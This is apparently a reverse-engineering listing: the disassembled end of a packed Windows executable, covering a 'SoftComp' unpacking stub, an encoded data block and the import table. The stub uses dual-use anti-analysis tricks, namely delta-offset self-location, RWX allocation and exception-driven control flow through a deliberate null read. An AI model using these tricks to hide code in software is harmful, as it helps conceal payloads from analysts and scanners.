sub_4190F1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_419062


loc_419101:				; CODE XREF: sub_419062+50j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn
; END OF FUNCTION CHUNK	FOR sub_419062

; =============== S U B	R O U T	I N E =======================================



sub_41910B	proc near		; CODE XREF: start+16Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		pusha
		push	40h
		push	1000h
		push	[esp+28h+arg_0]
		push	0
		call	dword ptr ss:word_4138EA[ebp]
		mov	[esp+20h+var_4], eax
		popa
		retn	4
sub_41910B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_419127:				; CODE XREF: start+1j
		call	$+5
		sub	[esp+24h+var_24], 413A12h
		pop	ebp
		cmp	byte ptr ss:dword_413AFC[ebp], 0
		jz	short loc_419146
		add	esp, 0FFFFFFECh
		jmp	dword ptr [ebp+413AFDh]
; ---------------------------------------------------------------------------


loc_419146:				; CODE XREF: start+DFj
		inc	ss:dword_413AFC[ebp]
		call	$+5
		sub	[esp+24h+var_24], 151h
		mov	eax, ss:dword_4138FA[ebp]
		sub	[esp+24h+var_24], eax
		mov	eax, [esp+24h+var_24]
		mov	ss:dword_4138FA[ebp], eax
		pop	eax
		mov	eax, ss:dword_4138FA[ebp]
		mov	edx, [eax+3Ch]
		add	edx, eax
		mov	edx, [edx+80h]
		add	edx, eax
		mov	ecx, [edx+60h]
		mov	dword ptr ss:word_4138E6[ebp], ecx
		mov	ecx, [edx+68h]
		mov	dword ptr ss:word_4138EA[ebp], ecx
		mov	ecx, [edx+6Ch]
		mov	dword ptr ss:word_4138F2[ebp], ecx
		mov	ecx, [edx+64h]
		mov	dword ptr ss:word_4138EE[ebp], ecx
		mov	ecx, [edx+7Ch]
		mov	ss:dword_4138F6[ebp], ecx
		cmp	dword ptr ss:word_413916[ebp], 41534C54h
		jz	short loc_4191C5
		mov	ebx, dword ptr ss:word_413916[ebp]
		mov	edx, dword ptr ss:word_413906[ebp]
		mov	[edx], ebx	; CODE XREF: start+1E0j


loc_4191C5:				; CODE XREF: start+159j
		push	2000h
		call	sub_41910B
		push	eax
		lea	ecx, dword_413B02[ebp]
		push	eax
		push	ecx
		call	sub_419062
		add	esp, 8
		pop	eax
		lea	edi, [eax+74h]
		lea	esi, word_4138E6[ebp]
		mov	ecx, 18h
		rep movsb
		add	eax, 0A4h
		mov	[ebp+413AFDh], eax
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		jmp	short loc_419210
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		prefetchnta byte ptr [eax]
; START	OF FUNCTION CHUNK FOR start


loc_419210:				; CODE XREF: start+1AFj
		xor	eax, eax
		mov	eax, [eax]
		jmp	short loc_41921B
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 0A401h
		db 0, 84h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_41921B:				; CODE XREF: start+1B8j
		nop
		add	[eax], bh
		adc	[eax+70h], al
		insb
		inc	byte ptr [esi]
		adc	[ecx-27h], al
		or	[ecx], edx
		and	[edx], dl
		pop	esp
		sub	[ecx], al
		cmc
		popa
		fcom	dword ptr [ebx]
		add	[esp+ecx+arg_4B], ebx
		inc	eax
		add	eax, 65731056h
		jb	short near ptr loc_4191C3+1
		jmp	near ptr 604F9DECh
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 8Bh
		dd 1D3D2474h, 0FC28007Ch, 0DB3380B2h, 2B3A406h,	3E2D6DE8h
		dd 0C93CF673h, 790964A8h, 42C0791Ch, 3623305Bh,	0F810B041h
		dd 1219C74Fh, 75F7E0C0h, 0EB3FAA3Fh, 1D4D31D4h,	22F3CB2Bh
		dd 0EB0F422Eh, 21D1AC28h, 0C9134D74h, 0F911CE4h, 8E0C148h
		dd 2D2C59DFh, 837DC13Dh, 0FC800A7Dh, 8306A805h,	777F37F8h
		dd 8B95108Ch, 13AB3C5h,	2BF78056h, 5EA4F3F0h, 28E00EBh
		dd 8A0575D2h, 12774616h, 41EAC360h, 0DBFFEEE8h,	0E7BB8602h
		dd 0F2720F05h, 9A4C2BC3h, 7A1C0889h, 0B3E85261h, 0ED815D02h
		dd 4A403C71h, 233BBD80h, 2A0F4043h, 76DA7485h, 640DA0FEh
		dd 3E20A0A1h, 2820798Bh, 1F0A058Fh, 604C483h, 323BA285h
		dd 3C1E50ECh, 92CDD003h, 11812980h, 8D89584Ah, 3E8246CDh
		dd 0DC9BD30h, 31874FFh,	9D8D406Ah, 16324211h, 11250E53h
		dd 952A8D6Ah, 8B006F9Eh, 61BD8D51h, 359131Ah, 77FFE8F9h
		dd 23E8041Bh, 0BA4831D7h, 4A038925h, 0FF50011Ah, 0FEB9E837h
		dd 14DEAB46h, 17D88B08h, 44FC0A7h, 81A0E983h, 1484BAB5h
		dd 0E856503Fh, 81FFE815h, 0C1835900h, 0DBC8D08h, 703B1A22h
		dd 9D75053Fh, 40C5858Ah, 74C08486h, 636E805h, 536E3E02h
		dd 8518B28Dh, 3530DA6h,	5655C11Eh, 8957C080h, 3B102444h
		dd 7D63840Fh, 0F6F8308Bh, 70EC0775h, 740E8FFFh,	0C40A77Ch
		dd 30E1CA0h, 504CCEF1h,	11B3D9AAh, 0D08B0596h, 0D20EFA83h
		dd 624CED49h, 79F506EDh, 0C4E92D6h, 48748A8Eh, 808EEB3Ah
		dd 0FF2507E2h, 1EB87A5h, 520243C0h, 6C22CB50h, 835A028Eh
		dd 78904C6h, 0C7DA2C93h, 5E06B486h, 80F1CF8h, 34EBCE75h
		dd 0F5368E14h, 0C0830F81h, 0C4891414h, 98917785h, 0EF464EEBh
		dd 76BD43BCh, 890DB260h, 783243Ch, 0FF61FCECh, 60DC7264h
		dd 32685141h, 0F18941F1h, 224C222Ch, 0C175D492h, 1904C213h
		dd 1940346Ch, 9A950411h, 83039B2h, 836918Dh, 4924BD9Fh
		dd 8442D53Eh, 8DEC90BEh, 1A5EA2B6h, 0AAB28582h,	81B5DE22h
		dd 0AE85C706h, 0F010014h, 660C4EB7h, 0E140374h,	40C173E3h
		dd 17A8BDA0h, 0BFA22A75h, 7F49E32Eh, 0C1036987h, 9154EB02h
		dd 4D200E0Eh, 81460A44h, 43F1218h, 51384410h, 44681C1h
		dd 85032D51h, 53F75A43h, 0A05241Ch, 44FFF08Bh, 819DEB65h
		dd 4DB52B71h, 0E07B1787h, 13EB0448h, 0DC595E30h, 2890E208h
		dd 30228DFFh, 0EB1E1778h, 8A1260EFh, 0C644C19Dh, 8F813049h
		dd 0B85FBE2h, 9DAEB61h,	0A098288Fh, 1B9AD484h, 0DB0CE824h
		dd 15CAE98Ch, 0EC8B0355h, 57565351h, 0C10C4DB0h, 0A802E924h
		dd 33087500h, 4CD3ADD2h, 0E20396C8h, 0FC5589F9h, 599845FBh
		dd 5B095E5Fh, 8960C3C9h, 1C89897Bh, 4894AB7Dh, 8348666Ah
		dd 0BCE8FC0Ah, 405A9CAEh, 1D948B5Bh, 38C03FA7h,	1675C23Bh
		dd 494E9959h, 0C369580Eh, 6E7F7387h, 80C57505h,	0F7958D2Bh
		dd 0BC5241CCh, 32FF3964h, 43228981h, 0E8C046DEh, 60027803h
		dd 0F0112C2Fh, 7451E56Ah, 0FC468B99h, 0EE92CCDh, 55538118h
		dd 0C7526958h, 6EA754B3h, 0A0FE0115h, 39726157h, 6717696Eh
		dd 0D264421h, 306A0541h, 400853D1h, 6208410Fh, 8B601F7Ch
		dd 24C2E7ECh, 0D02B0043h, 0C2F47374h, 0C12CDBECh, 0B50452E8h
		dd 915D4328h, 3E831CA2h, 0E90B7412h, 846A34Eh, 0B68F9FD1h
		dd 48156711h, 7663E7Bh,	0CEBC11Eh, 7401FB91h, 50020B9Dh
		dd 0C033D16h, 2F2AEB20h, 0FFE31481h, 1F79850Fh,	0D41F0401h
		dd 14B20F1Bh, 0B02D0C04h, 0E202881Dh, 0A0EB26BAh, 6BE90925h
		dd 641CB921h, 8D0B2C6Eh, 23C203FFh, 811935Ch, 252406F5h
		dd 410EDF04h, 696C2070h, 0E8746163h, 206E076Fh,	1F73656Dh
		dd 3BC674Eh, 53544D47h,	0B8017F85h, 6AB40h, 26Ch dup(0)
SoftComp	ends

; Section 5. (virtual address 0001A000)
; Virtual size			: 00000111 (	273.)
; Section size in file		: 00000111 (	273.)
; Offset to raw	data for section: 0001A000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_idata		segment	para public 'CODE' use32
		assume cs:_idata
		;org 41A000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 1A03Ch, 2 dup(0)
		dd 1A084h, 1A058h, 1A074h, 2 dup(0)
		dd 1A0F4h, 1A07Ch, 5 dup(0)
		dd 1A092h, 1A0A0h, 1A0B4h, 1A0C6h, 1A0D6h, 1A0E6h, 0
		dd 77E75CB5h, 77E79F93h, 77E7A5FDh, 77E805D8h, 77E7980Ah
		dd 77E79E34h, 0
		dd 1A100h, 0
		dd 77D6ADD7h, 0
		dd 4E52454Bh, 32334C45h, 4C4C442Eh, 0
aExitprocess	db 'ExitProcess',0
		dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 65470000h
		dd 6F725074h, 64644163h, 73736572h, 0
aLoadlibrarya	db 'LoadLibraryA',0
		align 4
aVirtualalloc	db 'VirtualAlloc',0
		align 4
aVirtualfree	db 'VirtualFree',0
aUser32_dll_0	db 'USER32.DLL',0
		align 10h
		dd 654D0000h, 67617373h, 786F4265h, 41h
		db    0
_idata		ends

; Section 6. (virtual address 0001B000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0001A200
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 41B000h
		align 2000h
_idata2		ends


		end start